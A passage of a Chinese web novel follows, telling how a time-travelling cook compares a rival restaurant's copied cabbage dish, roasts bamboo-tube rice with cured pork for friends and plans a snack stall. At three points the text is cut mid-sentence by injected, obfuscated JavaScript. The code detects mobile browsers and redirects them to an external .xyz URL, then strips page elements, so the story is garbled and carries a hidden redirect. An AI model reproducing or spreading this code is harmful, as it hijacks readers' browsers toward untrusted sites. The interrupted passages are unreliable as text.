比起姜芽毫不在意的样子，朱红梅多了许多介意，她脸上带着些对悦来酒楼的怒意说：“为啥要去那个地方吃，镇子上食肆不少，路边也有些卖吃食的摊子，咱们随便找一家吃不比去那家好吗？” 怕她担心，姜芽并没有把昨晚遇上裴问春的事告诉朱红梅，所以朱红梅不愿意去也是应当的。 姜芽只能抱着朱红梅的胳膊往前走：“哎呀三嫂，我想去尝尝他们做的菜味道到底如何嘛，还有刘石榴和我说了，他爹就在这悦来酒楼里做工，我还要去帮他找他爹带几句话呢！” 朱红梅拧不过她，只能哼了一声：“那走吧，要我说，咱们直接去找刘石榴他爹就行了，他们酒楼要是做的比你好吃，何必还要将你的菜偷了去？” “那不是正好饿了嘛，走！”姜芽见朱红梅松了口，赶紧对着朱红梅撒着娇往悦来酒楼走。 悦来酒楼确实要比其他小食肆气派的多，光是门口就站了两个小二堆着笑迎着来吃饭的客人。 小二见姜芽二人往这边走过来，也不认识她，只是把人往店里迎：“二位客官里面请！” 一楼是大堂，二楼和三楼都是雅间，姜芽选了个大堂的空桌子坐下，小二用抹布擦了擦桌子：“客官想吃点什么，要不要尝尝咱们酒楼新出的招牌菜——荷花鸡汤白菜。” 朱红梅正要发作，姜芽抢在前面说：“那就不必了，我听说你们店还有那蒜蓉粉丝白菜？” 小二应道：“是是是，客官要来一份吗？” 姜芽点点头：“那便来一份蒜蓉粉丝白菜，再加个红烧肉吧。” 小二记了菜正要走，姜芽叫住了他：“小哥！” 他赶紧转回身，微微弯着腰问：“客官还有什么想要的？” “我是想跟你打听个人，他就在你们酒楼做工。”姜芽说话客客气气：“那个人是叫……” 她这才想起自己都不知道刘石榴他爹叫什么名字，赶紧看了看朱红梅。 朱红梅脸色不是很好，但还是把话接过去说：“叫刘磊。” 小二皱眉想了想：“二位说的这刘磊，是不是从波罗村来的？” “对对对，就是他！”姜芽点头，正常情况下，波罗村怕是没有第二个在这里做工的刘磊的了。 小二点点头：“他确实是在我们这做工，只是他平日都是在后厨负责些杂活，我待会去后面帮你们找找他。” 姜芽赶紧道谢：“那就多谢小哥了！” 菜上的也不算慢，只是上菜的时候，小二说他们要找的张磊这几日告了假，不知道什么时候回来，也不知道他住在哪里。 姜芽本想让小二见到刘磊回来的时候让他去玉食堂找自己，又突然想到两家店的关系，只能闭了嘴，想着等过几日再来找。 她把注意力放到了桌上的两盘菜上。 那蒜蓉粉丝白菜看起来和她做的并没有什么区别，甚至摆盘都要比她做的更精致些。 姜芽夹了一片尝了尝，马上就知道了为什么悦来酒楼的人会去找她麻烦，昨晚的那个女子为什么会找她说要找她指点指点她做的蒜蓉粉丝白菜了。 这菜本身的味道并没有什么问题，里面放的酱油甚至连蒜末的数量应该都是严格按照玉食堂的数量来放的。 问题就出在这白菜身上了。 应该是受到了那荷花鸡汤白菜的影响，悦来酒楼的蒜蓉粉丝白菜的口感也要软一些，应该也是用热水将菜煮熟之后捞出来，再往上面放的调料。 而姜芽教给张毛毛的做法是蒸出来的，这样做出来的白菜口感要脆一些，因为是蒸的原因，也更要入味些。 朱红梅见姜芽的表情，也尝了一口白菜：“这味道与你做的无异，但感觉好像确实是差了点什么？” 姜芽笑而不答，又吃了一块红烧肉：“回去再跟你说，不过他们这个红烧肉的味道还不错，你多吃点。” 红烧肉炖的软烂入味，肥而不腻，里面还放了些煮的绵而沙的板栗，能吃出来做这道菜的人确实很有手艺。 只是在这里，大多菜都是用水煮或是油炒，一般也很少有人会想到能用蒸的方式，他们一时间没想到姜芽的做法也属于正常。 二人把菜和肉都吃的干干净净，姜芽自从穿越之后，深知粮食来得不易，从来没有剩过一顿饭。 只是悦来酒楼的收费比玉食堂贵得多，难怪比起味道更好一些的蒜蓉粉丝白菜，他们似乎更看重的是那道更好看的荷花鸡汤白菜，毕竟卖相更好的菜，就算是道素菜，价格也能卖的比其他的更高些。 吃饱喝足之后，姜芽还是先去了一趟玉食堂，心里始终想看看糍粑辣子鸡的反响。 玉食堂门口木牌上的菜式果然多了个糍粑辣子鸡和凉拌荷包蛋。 姜芽刚抬脚进了店门，就看到董掌柜正坐在门边的长凳上擦着汗，见到姜芽，他赶紧喜气洋洋的站起来 “姜小师傅，那个糍粑辣子鸡真是好卖得很，今日的客人来吃了对这道菜都是赞不绝口！还有凉拌荷包蛋，先前的赵公子你记得吧？他今日吃了这两道菜，马上就问是不是上次做白菜的小师傅又来了，说只有你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479075|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能将鸡蛋想出这种新奇的做法来。” 他这几句话的姜芽心里暖洋洋的，没有人会不喜欢夸奖。 朱红梅带着些自豪的说道：“那是当然了，我家芽芽会做的菜多了去了，都是没吃过的，都不知道她到底会做多少菜。” 姜芽摸摸鼻尖，有些害羞：“哈哈哈，不说了不说了，只要食客们都喜欢吃我就放心了。” 董掌柜见店中人少了些，便邀请姜芽二人坐下：“二位还没吃的吧？我让张厨子现在就做些来，放心！小师傅只要来玉食堂吃饭，我都请了！” “不用不用，我们吃过了。”姜芽连连摆手：“哪能一直来你这吃白食，我就是想着来看看今日的新菜式卖的如何了，我们今早刚搬家，还要买些东西回去，就先走了！” “那你不去看看你那‘徒弟’吗？”董掌柜脸上有些笑意：“他今日就一直嚷嚷着说要跟他师父说这两道菜有多受欢迎。” 姜芽笑了一声：“不去了，我一过去，他又要拉着我说上半日，就请您帮我跟他带句话，让他晚上下工之后去我家里吃饭，我今晚还要做个新鲜菜。” 董掌柜听到新鲜菜，眼睛一亮，顿时也生出兴趣来：：“有新鲜菜？那我能去凑个热闹吗？也算是给你乔迁道贺。” 姜芽愣了愣，暗道自己还真没想到还要邀请董掌柜也去，赶紧说：“当然欢迎了！我这也算是乔迁了，多个人多些热闹也好，晚上等你们一起来！” 事情说定之后，姜芽和朱红梅先是买了些青菜大米，姜芽又挑了些自己经常会用到的调料。 想到今日在悦来酒楼吃到的红烧肉，她又买了几块红糖回去。 还有今晚做竹筒饭最重要的东西——腊肉。 她和朱春梅仔仔细细的选了一条腌制的刚刚好的五花腊肉。 东西都买的差不多了，二人才去卖推车的小店中，将前几日存放在店中的二手推车取了出来，把卖的所有东西码到车上，一起推着推车回了家。 朱红梅一路推着车，一边忍不住跟念叨起来：“你看这推车也不省劲，我要是回去了，你自己一个人每天要推着这个车出门，你怎么推得动？” 姜芽轻拍朱红梅的手背：“嫂子你先放手，我想试试，我自己应该也能推得动的。” 朱红梅松开手，姜芽顿时觉得重量压了过来，她咬着牙，紧紧握住推手，一步一步往前挪，好不容易推到平地，才松了口气：“你看，我能行吧！” 朱红梅又把扶手上的手放回去，叹了口气：“现在是空车，以后装了货，肯定还要重了许多的。” 姜芽笑着打趣：“那我就把自己养得壮壮的！再说了三嫂，你要是实在放心不下，不如留在阳宁镇陪我？让三哥在家干活，逢年过节你再回去看看，多好。” 朱红梅脸颊微红，拍了她一下：“你这丫头，就会贫嘴！快推车吧，等我回去了，看你跟谁油嘴滑舌！” 33. 竹筒饭（三） 姜芽和朱红梅回到小院，先把行李收拾妥当。小院有两个房间，本可以分开睡了，但她们还是只收拾出了一张床铺一起睡。 厨房里堆着老三先前砍好的柴，瞧着还能用上好几天，倒省了不少事。 因为要等张毛毛和董掌柜，姜芽也不急着做饭，兴致勃勃的把每个房间都转了一圈，盘算着院子里是不是还能圈出个鸡圈来养几只鸡，另一个房间没人住的话，能不能在什么其他的地方发挥些用处。 朱红梅则拿着抹布，把那辆二手推车仔仔细细擦了一遍。 直到天色完全暗下来，姜芽才进厨房看自己中午就泡上的糯米。 糯米充分的吸够了水分，每一粒都变得白白胖胖，她伸手捞出两粒放在手上，用手轻轻一捏，糯米就碎成了几瓣。 “泡好了。”姜芽说了一声，把买回家的腊肉拿出来，特地挑的带着肥肉的五花腊肉，为的就是今晚的竹筒饭。 她将泡好的糯米滤了水，腊肉切成肉丁，这肉腌制的刚刚好，切开的时候还冒着些油，亮着琥珀色的光。 她把糯米滤干水，腊肉切成小丁，直接用手在碗里拌匀，让每粒米都裹上肉香。 朱红梅把砍好的竹筒拿了进来，和竹筒杯一样，竹筒的一头封着口，另一头开了个口。 新鲜的竹子拿在手上的时候还能闻到属于竹子独特的清香。 姜芽把搅拌好的糯米严严实实的塞到竹筒里，用手往里面压了又压，见已经没有任何缝隙了，才在竹筒的开口处塞了片提前撕好的芭蕉叶，防止烤的时候漏出来。 朱红梅看着她做好了第一个竹筒饭，问：“这竹筒中的饭要怎么弄熟？” 姜芽歪着头想了想：“其实蒸煮或是烤都行，今天咱们先试试烤的。” 看着姜芽做了一个，朱红梅也学着价姜芽的做法往竹筒中塞糯米。 “咱们去院子里生火。”姜芽拉住正要往灶里生火的朱红梅，走到院中。 她找了两块还算平整的石头，把石头放到两边，后面放了块石板堵住，搭了个简易的小灶，生起火来。 “这样才方便咱们烤竹筒饭。”她从厨房将竹筒饭拿出来，横着搭在两块石头上。 火烧的劈里啪啦的响，姜芽看看火势，对一旁好奇的朱红梅说：“三嫂，这竹筒饭就交给你了，不用添柴，隔一会儿翻个面就行，别烤糊了。” “那你要去干啥？”朱红梅没见多这种做法，有些紧张，生怕自己一个不注意就烤糊了。 姜芽往厨房里走：“咱们还有半只鸡没炒呢，昨日的辣子鸡你也爱吃，我再炒个糍粑辣子鸡，煮个汤来。” 她在厨房里忙活了一阵，把炒好的鸡肉和菜汤放到灶台边保着温，出去院子里看竹筒饭。 朱红梅一直目不转睛的盯着竹筒，姜芽过去一看，火已经烧的不旺了，只冒着星星点点的火星，竹筒的外皮被烤的黢黑，偶尔发出噼啪的一声。 正巧这时小院的门被敲响，张毛毛的声音从门外传进来：“师父！你们在家吗？” 姜芽赶紧跑去开门，张毛毛和董掌柜站在门口，手里都拎着纸包。 “来得正好！快进来！”她笑着招手，欢迎他们进院。 张毛毛大步跨了进去，董掌柜对着姜芽拱了拱手，跟在张毛毛身后进了院。 而一进院子的张毛毛，马上就看到了院中那个简陋的灶，和搭在上面的竹竿。 他好奇的大步走过去，凑近闻了闻：“这是甚？烤竹子？” 董掌柜把手里的东西随手放到一边，也凑过来看，看到竹子堵着竹子一头的芭蕉叶，他带着些惊奇的问：“这竹子里面有东西？” 姜芽手里拎着把小柴刀，将几根竹筒扒拉到一边的地上，把手中的刀递给张毛毛，手指在竹筒正中画了个长方形：“交给你了，这几个竹筒都从中间砍开个口子。” 又对朱红梅说：“三嫂，今天天气好，咱们还是把桌子搬到院子里吃吧，这样还凉快些。” 等桌子搬出来，张毛毛已经把竹筒都砍开了，热气带着糯米香、腊肉香和竹子香扑面而来，引得人直咽口水。 董掌柜从张毛毛那边接过竹筒往桌子上放，惊叹道：“小姜，你这想法是真是妙极了，竹筒里面放上糯米烤制，里面还放了腊肉？” 朱红梅进厨房去拿炒好的辣子鸡，姜芽点点头，拿起一根竹筒：“正是，其实这竹筒饭还有另外的做法，今日先试试烤出来味道如何。” 腊肉被烤的流油，加上泡了半天的糯米饭的水分混在一起，饭粒吸满了油汁，变成了深棕色。 姜芽招呼大家坐下：“咱们认识也算是缘分，客气话我就不说了，以后在镇上还要互相照应，开动吧！尝尝我做的竹筒饭。” 她给每个人都发了个竹片，用竹片往竹筒开的口里轻轻挖处的糯米饭上，米饭吸满了腊肉的油汁，变成深棕色，还裹着一层半透明的竹膜，吃一口，糯米黏糊糊的，嚼到腊肉又带着油水和肉香，再仔细尝，竟然还能吃到一股竹子的清香。 董掌柜嚼着竹筒饭，对姜芽越发佩服：“小姜，你做的每一道菜，要是拿到万花楼去，恐怕没有哪家酒楼的菜能跟你比，就光是你这些新奇的点子，就不是寻常人能想出来的。可惜……万花楼也只是今年才举办这比试，明年怕是没有了。” 姜芽毫不在意：“参加比试有什么好的，我就是想要吃过我菜的人都知道，我的菜，用料都普通，谁都能学着做，但只有在我这，才能吃到最好的味道！” 她说的话并不是突发奇想，而是在她做的这些菜在现代，大多都是些家常菜，会做饭的人家基本都会做，却最考功夫，多一分火候、少一勺调料，味道就差远了。 董掌柜愣了愣，随即点头：“你说的确实有道理，就比如你卖给我的菜方子，就算是我吃几次，也能做出来，但是味道还是差得远，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483548|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像那悦来酒楼……” 一提到悦来酒楼，朱红梅和张毛毛都不约而同的哼了一声。 姜芽却想到了那个悦来酒楼叫裴问春的女子，有些好奇的问董掌柜：“对了董大哥，你知道悦来酒楼有一个女厨子吗？” “女厨子？”董掌柜对姜芽对他的新称呼没有异议，低头回忆着这个名字。 一旁的张毛毛把吃空的竹筒往桌上一放，又拿起一个：“有啊，好像是叫裴问春，去万花楼的时候见过她。” “对对对！”他这么一说，董掌柜也想起来了：“悦来酒楼大，厨子都有好几个，但据说这裴问春是悦来酒楼最厉害的厨子，去他们酒楼吃饭的人大部分也都是冲着她的手艺去的。” 没想到她还真的是悦来酒楼的厨子，姜芽想着这事，手中捏着的竹片无意识的在竹筒里面搅着。 朱红梅轻拍她的手背：“想什么呢？赶紧先吃饭，待会凉了就不好吃了，不管那是什么厨子，肯定都是比不上你的手艺！” 张毛毛也附和：“就是，我当时见她一直都是冷着个脸，好像在场的所有人都欠她钱似的，哪能比得上师父你。” 董掌柜心思细些，试探的问道：“你是怎么认识她的？她找你麻烦了？” 姜芽看看脾气都不算好的朱红梅和张毛毛，赶紧打岔：“没有没有！我哪里去认识她，就是今日在街上听人说起来，想着女厨子也不多见，就问问你们认不认识，对了，昨日炒的糍粑辣椒应该都用完了吧？” “那肯定用完了！”一说到做菜，张毛毛又兴奋起来：“咱们这边的人大多都是喜欢吃辣的，今日这菜一出来，大多人都点了吃，分量也按照你说的，小半只鸡配一份辣椒，有几桌人多的都加了一份，后来实在是不够了，我又炒了不少，才勉强够今天用呢。” 几人边吃边聊，桌上的菜很快就见了底。 董掌柜从一边拿过几个纸包递给姜芽：“今日是你乔迁的好日子，我和老张商量着也不知你缺什么，就给你带了点小东西，你可别嫌弃。” 姜芽接过来，打开一看，里面有红糖块、发酵用的酵头，还有几包她常用的干调料，都是实实在在能用得上的。 这些东西是真送到了姜芽的心坎上，她将东西好好的包起来：“我哪会嫌弃！谢谢董大哥、张大哥，这些东西都是我需要的！” 张毛毛嘿嘿笑了一声：“别谢这么早，我们还给你准备了个大礼！” “什么大礼？”姜芽好奇的往二人那边伸着脖子看。 张毛毛站起身：“在我家呢，我去拿！”说完就跑了出去。 董掌柜摸着胡子，笑得神秘，姜芽更好奇了，眼睛一直盯着院门口，想着他们还能给自己准备什么大礼。 “老董！快来帮忙！”东西好像有些重，张毛毛站在自家院子大声往这边喊。 董掌柜听到他的声音，赶紧出门去和张毛毛一起将那东西拿进来。 34. 蒜苗炒腊肉 等他们二人拿着东西从张毛毛家过来，姜芽伸着头一看，他们二人两只手上拿着的东西居然是玫瑰花树！ “怎么样师父，这礼物还行吧？”张毛毛见她眼睛亮得像星星，笑得格外得意：“前几日你托老董帮你打听玫瑰花在哪买，我和老董一合计，就凑钱给你买了这几棵成树，种上无需几日就能开花了！” 董掌柜轻手轻脚的把花树放到院角，怕碰坏了枝叶：“今日天色已经晚了，明日让老张帮你把院中的地翻一翻，把这几棵树都好好种上。” 朱红梅知道玫瑰对于姜芽的重要性，连声道谢：“真是太谢谢你们了！这花树明日我来种就行，挖点地不算累活，别麻烦张大哥了。” 姜芽高兴得差点蹦起来，对着两人深深鞠了一躬，又抱了抱拳：“我都不知道怎么谢谢你们才好了！以后有什么我能帮得上忙的，你们尽管来找我就是！” “你帮我的已经够多了。”董掌柜轻轻把姜芽的手抬起来：“自从玉食堂多了你的那几道菜，生意比从前可是好了不少，哪是这几棵玫瑰树就能换的。” 张毛毛更是拍着胸脯说：“你是我师父，送你这些小东西不是应该的嘛，咱们师徒之间无需如此客气了！” 他们买的玫瑰树已经是成树大小了，树枝上还挂着几朵已经盛开的玫瑰和许多玫瑰花苞，姜芽凑过去闻了闻，已经能闻到玫瑰花的香气了。 四人一起将桌子收拾的干干净净，张毛毛和董掌柜才告辞离开。 走之前，张毛毛还特地指指姜芽院边的围墙说：“师父，我就在旁边，晚上要是有什么事，你在墙边喊一声，我立马就来！” 姜芽觉得自己真是挺幸运的，穿越过来虽然家中并不富裕，但家里的每一个人对她都是极好的，也不要她干活，让她在家中研究她喜欢做的美食。 后来她又想到阳宁镇上发展，来到这就认识了看起来大咧咧却是个爱做饭的老实人的张毛毛和做生意也做的光明磊落的董掌柜。 她吹着口哨去收拾厨房，回头却见朱红梅坐在院中的石凳上，背对着她不知道在想什么。 “三嫂！”她走到朱红梅背后喊了一声，朱红梅吓了一跳，转身看着姜芽：“这丫头，走路越发没声音了。” 说着把一旁的椅子放着的布包拿起来，塞到姜芽手中。 姜芽摸摸布包，软乎乎的：“这是什么？” 朱红梅指指姜芽的肚子：“我看人家阳宁镇的厨子，人人都有个围腰，想着人家都有，我家妹子也要有，就自己给你缝了一个围腰，你看看合不合适。” 姜芽把布包打开，里面正是一条叠的整整齐齐的围腰，她将围腰打开，只见这围腰的正中还绣了一颗绿芽，绿芽的右下角绣了个小小的姜字。 “真好看！”她将围腰系到腰上，对着朱红梅转了个圈：“怎么样，适合我吧？” 朱红梅下巴搭在手上，看着姜芽的双眼满是欣赏：“好看，活脱脱是个大厨了！” 姜芽扑哧一声笑出声来，上前搂住朱红梅的脖子，在她耳边轻声说：“谢谢你三嫂。” 既然已经搬了家，姜芽也把自己要做的小事业提上了日程，而朱红梅一早就已经在处理昨天剩下的那一半竹子。 姜芽背着小背篓出门，专门去街上买木瓜籽果。 今日的天气十分凉爽，倒是有了些秋天的味道，野木瓜便宜，她花了几十文就买了一小背篓，又去旁边的药铺里买了一小块石灰块就赶紧回了家。 回到家，她在朱红梅旁边坐下来，拿了个瓷碗放到面前的矮凳上，把一颗一颗的木瓜从掰开，把里面小小的木瓜籽挤出来，放到碗里。 这活虽然不难，却也挺费眼，挤了一会儿，姜芽就觉得眼睛发酸。 幸好朱红梅干的快，把剩下的竹竿都做成竹杯之后，就和姜芽一块剥，那一小背篓的木瓜枝上的果子，最后剥出了两碗木瓜籽。 做好这些，时间也还早，她小心的将两碗木瓜籽收到橱柜中， “三嫂，你在家歇会儿，我出去办点事。”姜芽揣了两颗碎银，熟门熟路往绿江书铺走。 书铺老板还是老样子，脚搭在矮凳上，捧着本书看得入神。 姜芽走到他的面前，他才抬起头来看了姜芽一眼，这老板记性倒是挺好，左手拿着书，右手指指自己身边的空椅子：“借的书放这，借据给我，我点好树之后扣了租金退你钱。” “咦，你记得我？”姜芽好奇的问了句。 老板见姜芽手上并没有拿着上次借的书，就将自己手中的书倒扣到椅子上：“自然是记得的，今日不还书，还要买书？” 姜芽俏皮的眨眨眼：“我既不买书，也不还书，找你是有其他事。” “那你找我何事？”老板虽然脸上还是没有什么表情，眼神却带了些好奇。 姜芽指指他书架旁竖着的那根杆子上挂着的“绿江书铺”说：“我想找你帮我写几个字。” 老板顺着她的手也看了看自己的招牌：“你从我这巷子走出去，往东边走几步，有个专门给人题字的人，十五文就能帮你写。” “我就看上你写这几个字了，你的字写的真好！”姜芽仰头欣赏的看着那四个字：“老板，你就帮我写几个字吧，我以后还要常来买书的。” 她这话说到了老板心坎上，他哼了一声：“那是当然，我写的字整个阳宁镇谁敢说不不好看。” 姜芽趁机把自己准备好的布掏出来，双手捧到绿江书铺老板的眼前：“所以说嘛，我既然能欣赏你的字，也算是有缘人了，还请先生赐字！” 在现代，出去办事见人都要喊一声老师，在现在，姜芽也深知这个道理，“先生”二字一出口，那老板顿时都没了拒绝的余地。 他把姜芽手中的布接了过去，问：“你要写什么字？” 姜芽将凳子上的书拿起，自己坐了上去，又将书扣在自己的腿上：“就请先生帮我写一个‘小姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492768|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小吃铺’吧！” 老板有些诧异的抬眼看她：“小吃铺？你要支摊子卖吃食？” 姜芽笑眯眯的应道：“对呀，而且我看老板你旁边这空了好大一块地，要不我就在你旁边摆？正好闲来无事也能找你租些书看。” 老板把布收了起来：“我出门没带笔墨，你明日来找我拿便是，至于旁边这空地，也不是我家的，你要摆哪里是你自己的事。” “那我明日过来找你！”姜芽只当他这话就是同意了，她看看巷子中坐在两边看书的人，从来买书那天，她就看上了书铺旁边的这个空位。 虽说是在巷子旁边，但两边都有不同的店铺，一边是个食肆，另一边是个客栈。 对面则是些大大小小的摊位，正好符合姜芽对自己产品的定位。 回家的路上，她顺便买了两只木桶带回家，朱红梅正在院中移栽着那几棵玫瑰树。 见到姜芽手中拎着的桶，她擦擦额头上的汗笑着问：“怎么买这么几个木桶回来？要在咱们家再做一次木桶鱼？” 姜芽把木桶放到一边，拎着锄头准备和朱红梅一起干活：“现在我还不做那个，若是到了冬天，我有了自己的铺子，到时我就弄个姜氏木桶鱼涮桶店！” 两人合力把五棵玫瑰树种好，天边的夕阳已经西斜，飘着火红的晚霞。 朱红梅洗了把手：“咱们现在做那木瓜粉？” “不急。”姜芽把新围腰系上：“咱们先吃饭！” 昨日买回来做竹筒饭的腊肉还剩了小半块，她把腊肉切成片，再切了些新鲜的蒜苗。 从张毛毛送的那油罐子里挖出一勺猪油放到锅中，等猪油完全化开，就将腊肉放到锅中翻炒。 腊肉本身有盐，不用额外调味，等肉色变得油亮，再倒入蒜苗，随便炒几下就出锅了。 二人还是把菜和饭都拿到了院中的桌上吃，蒜苗刚断生，吃到嘴里还还带着些脆响，除了蒜苗本身的香甜，还带上了腊肉的香味。 腊肉嚼起来满口油润，腌制的香味在嘴里散开，在口中越嚼越有香味。 朱红梅将蒜苗和腊肉夹在一起吃了下去：“咱们昨天买的这块腊肉味道真是不错，日后你要是想吃腊肉，就找着这家店去买，错不了。” 姜芽把盘中剩的几片腊肉都夹到朱红梅的碗里：“等我赚了钱，便自己买些肉回来腌，我腌出来的肉味道不差这个。” 朱红梅看着碗里的肉，突然换了个话题：“芽芽，其实嫂子一直在想，为什么你病了一场，就会做这么多从未见过的菜了，咱们整日在波罗村，也没什么地方能学到这些菜……” 她这几句话问的姜芽冷汗直流，她从没想过自己应该如何回答这个问题。 “师父！师父！我过来帮忙了！你屋中是在炒腊肉吗？我走在巷中就闻着谁家炒的肉这么香！”张毛毛的敲门声及时的响了起来， 对于姜芽来说，此时的张毛毛就像是她的救命稻草。